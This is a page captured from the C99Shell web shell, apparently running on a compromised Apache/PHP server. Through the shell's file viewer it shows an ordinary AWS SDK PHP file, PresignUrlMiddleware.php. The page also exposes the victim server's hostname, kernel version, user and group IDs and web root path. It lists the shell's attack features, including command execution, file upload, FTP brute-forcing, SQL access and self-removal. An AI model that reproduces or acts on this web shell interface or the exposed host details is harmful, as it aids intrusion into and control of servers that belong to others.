!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PresignUrlMiddleware.php (4.53 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws;

use 
Aws\Signature\SignatureV4;
use 
Aws\Endpoint\EndpointProvider;
use 
GuzzleHttp\Psr7\Uri;
use 
Psr\Http\Message\RequestInterface;

/**
 * @internal Adds computed values to service operations that need presigned url.
 */
class PresignUrlMiddleware
{
    private 
$client;
    private 
$endpointProvider;
    private 
$nextHandler;
    
/** @var array names of operations that require presign url */
    
private $commandPool;
    
/** @var array query params that are not on the operation's model to add before signing */
    
private $extraQueryParams;
    
/** @var string */
    
private $serviceName;
    
/** @var string */
    
private $presignParam;
    
/** @var bool */
    
private $requireDifferentRegion;

    public function 
__construct(
        array 
$options,
        
$endpointProvider,
        
AwsClientInterface $client,
        callable 
$nextHandler
    
) {
        
$this->endpointProvider $endpointProvider;
        
$this->client $client;
        
$this->nextHandler $nextHandler;
        
$this->commandPool $options['operations'];
        
$this->serviceName $options['service'];
        
$this->presignParam = !empty($options['presign_param'])
            ? 
$options['presign_param']
            : 
'PresignedUrl';
        
$this->extraQueryParams = !empty($options['extra_query_params'])
            ? 
$options['extra_query_params']
            : [];
        
$this->requireDifferentRegion = !empty($options['require_different_region']);
    }

    public static function 
wrap(
        
AwsClientInterface $client,
        
$endpointProvider,
        array 
$options = []
    ) {
        return function (callable 
$handler) use ($endpointProvider$client$options) {
            
$f = new PresignUrlMiddleware($options$endpointProvider$client$handler);
            return 
$f;
        };
    }

    public function 
__invoke(CommandInterface $cmdRequestInterface $request null)
    {
        if (
in_array($cmd->getName(), $this->commandPool)
            && (!isset(
$cmd['__skip' $cmd->getName()]))
        ) {
            
$cmd['DestinationRegion'] = $this->client->getRegion();
            if (!empty(
$cmd['SourceRegion']) && !empty($cmd[$this->presignParam])) {
                goto 
nexthandler;
            }
            if (!
$this->requireDifferentRegion
                
|| (!empty($cmd['SourceRegion'])
                    && 
$cmd['SourceRegion'] !== $cmd['DestinationRegion'])
            ) {
                
$cmd[$this->presignParam] = $this->createPresignedUrl($this->client$cmd);
            }
        }
        
nexthandler:
        
$nextHandler $this->nextHandler;
        return 
$nextHandler($cmd$request);
    }

    private function 
createPresignedUrl(
        
AwsClientInterface $client,
        
CommandInterface $cmd
    
) {
        
$cmdName $cmd->getName();
        
$newCmd $client->getCommand($cmdName$cmd->toArray());
        
// Avoid infinite recursion by flagging the new command.
        
$newCmd['__skip' $cmdName] = true;

        
// Serialize a request for the operation.
        
$request \Aws\serialize($newCmd);
        
// Create the new endpoint for the target endpoint.
        
if ($this->endpointProvider instanceof \Aws\EndpointV2\EndpointProviderV2) {
            
$providerArgs array_merge(
                
$this->client->getEndpointProviderArgs(),
                [
'Region' => $cmd['SourceRegion']]
            );
            
$endpoint $this->endpointProvider->resolveEndpoint($providerArgs)->getUrl();
        } else {
            
$endpoint EndpointProvider::resolve($this->endpointProvider, [
                
'region'  => $cmd['SourceRegion'],
                
'service' => $this->serviceName,
            ])[
'endpoint'];
        }

        
// Set the request to hit the target endpoint.
        
$uri $request->getUri()->withHost((new Uri($endpoint))->getHost());
        
$request $request->withUri($uri);

        
// Create a presigned URL for our generated request.
        
$signer = new SignatureV4($this->serviceName$cmd['SourceRegion']);

        
$currentQueryParams = (string) $request->getBody();
        
$paramsToAdd false;
        if (!empty(
$this->extraQueryParams[$cmdName])) {
            foreach (
$this->extraQueryParams[$cmdName] as $param) {
                if (!
strpos($currentQueryParams$param)) {
                    
$paramsToAdd =  "&{$param}={$cmd[$param]}";
                }
            }
        }

        return (string) 
$signer->presign(
            
SignatureV4::convertPostToGet($request$paramsToAdd ?: ""),
            
$client->getCredentials()->wait(),
            
'+1 hour'
        
)->getUri();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--